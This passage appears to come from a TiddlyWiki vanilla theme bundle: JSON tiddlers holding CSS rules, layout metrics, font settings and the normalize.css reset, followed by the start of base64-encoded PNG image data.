3px;\n}\n\n.tc-thumbnail-image svg,\n.tc-thumbnail-image img {\n\tfilter: alpha(opacity=1);\n\topacity: 1;\n\tmin-width: 100%;\n\tmin-height: 100%;\n\tmax-width: 100%;\n}\n\n.tc-thumbnail-wrapper:hover .tc-thumbnail-image svg,\n.tc-thumbnail-wrapper:hover .tc-thumbnail-image img {\n\tfilter: alpha(opacity=0.8);\n\topacity: 0.8;\n}\n\n.tc-thumbnail-background {\n\tposition: absolute;\n\tborder-radius: 3px;\n}\n\n.tc-thumbnail-icon svg,\n.tc-thumbnail-icon img {\n\twidth: 3em;\n\theight: 3em;\n\t<<filter \"drop-shadow(2px 2px 4px rgba(0,0,0,0.3))\">>\n}\n\n.tc-thumbnail-wrapper:hover .tc-thumbnail-icon svg,\n.tc-thumbnail-wrapper:hover .tc-thumbnail-icon img {\n\tfill: #fff;\n\t<<filter \"drop-shadow(3px 3px 4px rgba(0,0,0,0.6))\">>\n}\n\n.tc-thumbnail-icon {\n\tposition: absolute;\n\ttop: 0;\n\tleft: 0;\n\tright: 0;\n\tbottom: 0;\n\tdisplay: -webkit-flex;\n\t-webkit-align-items: center;\n\t-webkit-justify-content: center;\n\tdisplay: flex;\n\talign-items: center;\n\tjustify-content: center;\n}\n\n.tc-thumbnail-caption {\n\tposition: absolute;\n\tbackground-color: #777;\n\tcolor: #fff;\n\ttext-align: center;\n\tbottom: 0;\n\twidth: 100%;\n\tfilter: alpha(opacity=0.9);\n\topacity: 0.9;\n\tline-height: 1.4;\n\tborder-bottom-left-radius: 3px;\n\tborder-bottom-right-radius: 3px;\n}\n\n.tc-thumbnail-wrapper:hover .tc-thumbnail-caption {\n\tfilter: alpha(opacity=1);\n\topacity: 1;\n}\n\n/*\n** Diffs\n*/\n\n.tc-diff-equal {\n\tbackground-color: <<colour diff-equal-background>>;\n\tcolor: <<colour diff-equal-foreground>>;\n}\n\n.tc-diff-insert {\n\tbackground-color: <<colour diff-insert-background>>;\n\tcolor: <<colour diff-insert-foreground>>;\n}\n\n.tc-diff-delete {\n\tbackground-color: <<colour diff-delete-background>>;\n\tcolor: <<colour diff-delete-foreground>>;\n}\n\n.tc-diff-invisible {\n\tbackground-color: <<colour diff-invisible-background>>;\n\tcolor: <<colour diff-invisible-foreground>>;\n}\n\n.tc-diff-tiddlers th {\n\ttext-align: right;\n\tbackground: <<colour background>>;\n\tfont-weight: normal;\n\tfont-style: italic;\n}\n\n.tc-diff-tiddlers pre {\n margin: 0;\n padding: 0;\n border: none;\n background: none;\n}\n\n/*\n** Errors\n*/\n\n.tc-error {\n\tbackground: #f00;\n\tcolor: #fff;\n}\n\n/*\n** Tree macro\n*/\n\n.tc-tree div {\n \tpadding-left: 14px;\n}\n\n.tc-tree ol {\n \tlist-style-type: none;\n \tpadding-left: 0;\n \tmargin-top: 0;\n}\n\n.tc-tree ol ol {\n \tpadding-left: 1em; \n}\n\n.tc-tree button { \n \tcolor: #acacac;\n}\n\n.tc-tree svg {\n \tfill: #acacac;\n}\n\n.tc-tree span svg {\n \twidth: 1em;\n \theight: 1em;\n \tvertical-align: baseline;\n}\n\n.tc-tree li span {\n \tcolor: lightgray;\n}\n\nselect {\n color: <<colour select-tag-foreground>>;\n background: <<colour select-tag-background>>;\n}\n\n/*\n** Utility classes for SVG icons\n*/\n\n.tc-fill-background {\n\tfill: <<colour background>>;\n}"
},
"$:/themes/tiddlywiki/vanilla/metrics/bodyfontsize": {
"title": "$:/themes/tiddlywiki/vanilla/metrics/bodyfontsize",
"text": "15px"
},
"$:/themes/tiddlywiki/vanilla/metrics/bodylineheight": {
"title": "$:/themes/tiddlywiki/vanilla/metrics/bodylineheight",
"text": "22px"
},
"$:/themes/tiddlywiki/vanilla/metrics/fontsize": {
"title": "$:/themes/tiddlywiki/vanilla/metrics/fontsize",
"text": "14px"
},
"$:/themes/tiddlywiki/vanilla/metrics/lineheight": {
"title": "$:/themes/tiddlywiki/vanilla/metrics/lineheight",
"text": "20px"
},
"$:/themes/tiddlywiki/vanilla/metrics/storyleft": {
"title": "$:/themes/tiddlywiki/vanilla/metrics/storyleft",
"text": "0px"
},
"$:/themes/tiddlywiki/vanilla/metrics/storytop": {
"title": "$:/themes/tiddlywiki/vanilla/metrics/storytop",
"text": "0px"
},
"$:/themes/tiddlywiki/vanilla/metrics/storyright": {
"title": "$:/themes/tiddlywiki/vanilla/metrics/storyright",
"text": "770px"
},
"$:/themes/tiddlywiki/vanilla/metrics/storywidth": {
"title": "$:/themes/tiddlywiki/vanilla/metrics/storywidth",
"text": "770px"
},
"$:/themes/tiddlywiki/vanilla/metrics/tiddlerwidth": {
"title": "$:/themes/tiddlywiki/vanilla/metrics/tiddlerwidth",
"text": "686px"
},
"$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint": {
"title": "$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint",
"text": "960px"
},
"$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth": {
"title": "$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth",
"text": "350px"
},
"$:/themes/tiddlywiki/vanilla/options/stickytitles": {
"title": "$:/themes/tiddlywiki/vanilla/options/stickytitles",
"text": "no"
},
"$:/themes/tiddlywiki/vanilla/options/sidebarlayout": {
"title": "$:/themes/tiddlywiki/vanilla/options/sidebarlayout",
"text": "fixed-fluid"
},
"$:/themes/tiddlywiki/vanilla/options/codewrapping": {
"title": "$:/themes/tiddlywiki/vanilla/options/codewrapping",
"text": "pre-wrap"
},
"$:/themes/tiddlywiki/vanilla/reset": {
"title": "$:/themes/tiddlywiki/vanilla/reset",
"type": "text/plain",
"text": "/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */\n\n/* Document\n ========================================================================== */\n\n/**\n * 1. Correct the line height in all browsers.\n * 2. Prevent adjustments of font size after orientation changes in iOS.\n */\n\nhtml {\n line-height: 1.15; /* 1 */\n -webkit-text-size-adjust: 100%; /* 2 */\n}\n\n/* Sections\n ========================================================================== */\n\n/**\n * Remove the margin in all browsers.\n */\n\nbody {\n margin: 0;\n}\n\n/**\n * Render the `main` element consistently in IE.\n */\n\nmain {\n display: block;\n}\n\n/**\n * Correct the font size and margin on `h1` elements within `section` and\n * `article` contexts in Chrome, Firefox, and Safari.\n */\n\nh1 {\n font-size: 2em;\n margin: 0.67em 0;\n}\n\n/* Grouping content\n ========================================================================== */\n\n/**\n * 1. Add the correct box sizing in Firefox.\n * 2. Show the overflow in Edge and IE.\n */\n\nhr {\n box-sizing: content-box; /* 1 */\n height: 0; /* 1 */\n overflow: visible; /* 2 */\n}\n\n/**\n * 1. Correct the inheritance and scaling of font size in all browsers.\n * 2. Correct the odd `em` font sizing in all browsers.\n */\n\npre {\n font-family: monospace, monospace; /* 1 */\n font-size: 1em; /* 2 */\n}\n\n/* Text-level semantics\n ========================================================================== */\n\n/**\n * Remove the gray background on active links in IE 10.\n */\n\na {\n background-color: transparent;\n}\n\n/**\n * 1. Remove the bottom border in Chrome 57-\n * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.\n */\n\nabbr[title] {\n border-bottom: none; /* 1 */\n text-decoration: underline; /* 2 */\n text-decoration: underline dotted; /* 2 */\n}\n\n/**\n * Add the correct font weight in Chrome, Edge, and Safari.\n */\n\nb,\nstrong {\n font-weight: bolder;\n}\n\n/**\n * 1. Correct the inheritance and scaling of font size in all browsers.\n * 2. Correct the odd `em` font sizing in all browsers.\n */\n\ncode,\nkbd,\nsamp {\n font-family: monospace, monospace; /* 1 */\n font-size: 1em; /* 2 */\n}\n\n/**\n * Add the correct font size in all browsers.\n */\n\nsmall {\n font-size: 80%;\n}\n\n/**\n * Prevent `sub` and `sup` elements from affecting the line height in\n * all browsers.\n */\n\nsub,\nsup {\n font-size: 75%;\n line-height: 0;\n position: relative;\n vertical-align: baseline;\n}\n\nsub {\n bottom: -0.25em;\n}\n\nsup {\n top: -0.5em;\n}\n\n/* Embedded content\n ========================================================================== */\n\n/**\n * Remove the border on images inside links in IE 10.\n */\n\nimg {\n border-style: none;\n}\n\n/* Forms\n ========================================================================== */\n\n/**\n * 1. Change the font styles in all browsers.\n * 2. Remove the margin in Firefox and Safari.\n */\n\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n font-family: inherit; /* 1 */\n font-size: 100%; /* 1 */\n line-height: 1.15; /* 1 */\n margin: 0; /* 2 */\n}\n\n/**\n * Show the overflow in IE.\n * 1. Show the overflow in Edge.\n */\n\nbutton,\ninput { /* 1 */\n overflow: visible;\n}\n\n/**\n * Remove the inheritance of text transform in Edge, Firefox, and IE.\n * 1. Remove the inheritance of text transform in Firefox.\n */\n\nbutton,\nselect { /* 1 */\n text-transform: none;\n}\n\n/**\n * Correct the inability to style clickable types in iOS and Safari.\n */\n\nbutton,\n[type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n -webkit-appearance: button;\n}\n\n/**\n * Remove the inner border and padding in Firefox.\n */\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n border-style: none;\n padding: 0;\n}\n\n/**\n * Restore the focus styles unset by the previous rule.\n */\n\nbutton:-moz-focusring,\n[type=\"button\"]:-moz-focusring,\n[type=\"reset\"]:-moz-focusring,\n[type=\"submit\"]:-moz-focusring {\n outline: 1px dotted ButtonText;\n}\n\n/**\n * Correct the padding in Firefox.\n */\n\nfieldset {\n padding: 0.35em 0.75em 0.625em;\n}\n\n/**\n * 1. Correct the text wrapping in Edge and IE.\n * 2. Correct the color inheritance from `fieldset` elements in IE.\n * 3. Remove the padding so developers are not caught out when they zero out\n * `fieldset` elements in all browsers.\n */\n\nlegend {\n box-sizing: border-box; /* 1 */\n color: inherit; /* 2 */\n display: table; /* 1 */\n max-width: 100%; /* 1 */\n padding: 0; /* 3 */\n white-space: normal; /* 1 */\n}\n\n/**\n * Add the correct vertical alignment in Chrome, Firefox, and Opera.\n */\n\nprogress {\n vertical-align: baseline;\n}\n\n/**\n * Remove the default vertical scrollbar in IE 10+.\n */\n\ntextarea {\n overflow: auto;\n}\n\n/**\n * 1. Add the correct box sizing in IE 10.\n * 2. Remove the padding in IE 10.\n */\n\n[type=\"checkbox\"],\n[type=\"radio\"] {\n box-sizing: border-box; /* 1 */\n padding: 0; /* 2 */\n}\n\n/**\n * Correct the cursor style of increment and decrement buttons in Chrome.\n */\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n/**\n * 1. Correct the odd appearance in Chrome and Safari.\n * 2. Correct the outline style in Safari.\n */\n\n[type=\"search\"] {\n -webkit-appearance: textfield; /* 1 */\n outline-offset: -2px; /* 2 */\n}\n\n/**\n * Remove the inner padding in Chrome and Safari on macOS.\n */\n\n[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n/**\n * 1. Correct the inability to style clickable types in iOS and Safari.\n * 2. Change font properties to `inherit` in Safari.\n */\n\n::-webkit-file-upload-button {\n -webkit-appearance: button; /* 1 */\n font: inherit; /* 2 */\n}\n\n/* Interactive\n ========================================================================== */\n\n/*\n * Add the correct display in Edge, IE 10+, and Firefox.\n */\n\ndetails {\n display: block;\n}\n\n/*\n * Add the correct display in all browsers.\n */\n\nsummary {\n display: list-item;\n}\n\n/* Misc\n ========================================================================== */\n\n/**\n * Add the correct display in IE 10+.\n */\n\ntemplate {\n display: none;\n}\n\n/**\n * Add the correct display in IE 10.\n */\n\n[hidden] {\n display: none;\n}\n"
},
"$:/themes/tiddlywiki/vanilla/settings/fontfamily": {
"title": "$:/themes/tiddlywiki/vanilla/settings/fontfamily",
"text": "-apple-system, BlinkMacSystemFont, \"Segoe UI\", Helvetica, Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\""
},
"$:/themes/tiddlywiki/vanilla/settings/codefontfamily": {
"title": "$:/themes/tiddlywiki/vanilla/settings/codefontfamily",
"text": "\"SFMono-Regular\",Consolas,\"Liberation Mono\",Menlo,Courier,monospace"
},
"$:/themes/tiddlywiki/vanilla/settings/backgroundimageattachment": {
"title": "$:/themes/tiddlywiki/vanilla/settings/backgroundimageattachment",
"text": "fixed"
},
"$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize": {
"title": "$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize",
"text": "auto"
},
"$:/themes/tiddlywiki/vanilla/sticky": {
"title": "$:/themes/tiddlywiki/vanilla/sticky",
"text": "<$reveal state=\"$:/themes/tiddlywiki/vanilla/options/stickytitles\" type=\"match\" text=\"yes\">\n``\n.tc-tiddler-title {\n\tposition: -webkit-sticky;\n\tposition: -moz-sticky;\n\tposition: -o-sticky;\n\tposition: -ms-sticky;\n\tposition: sticky;\n\ttop: 0px;\n\tbackground: ``<<colour tiddler-background>>``;\n\tz-index: 500;\n}\n\n``\n<$list filter=\"[range[100]]\">\n`.tc-story-river .tc-tiddler-frame:nth-child(100n+`<$text text=<<currentTiddler>>/>`) {\nz-index: `<$text text={{{ [[200]subtract<currentTiddler>] }}}/>`;\n}\n`\n</$list>\n</$reveal>\n"
}
}
}
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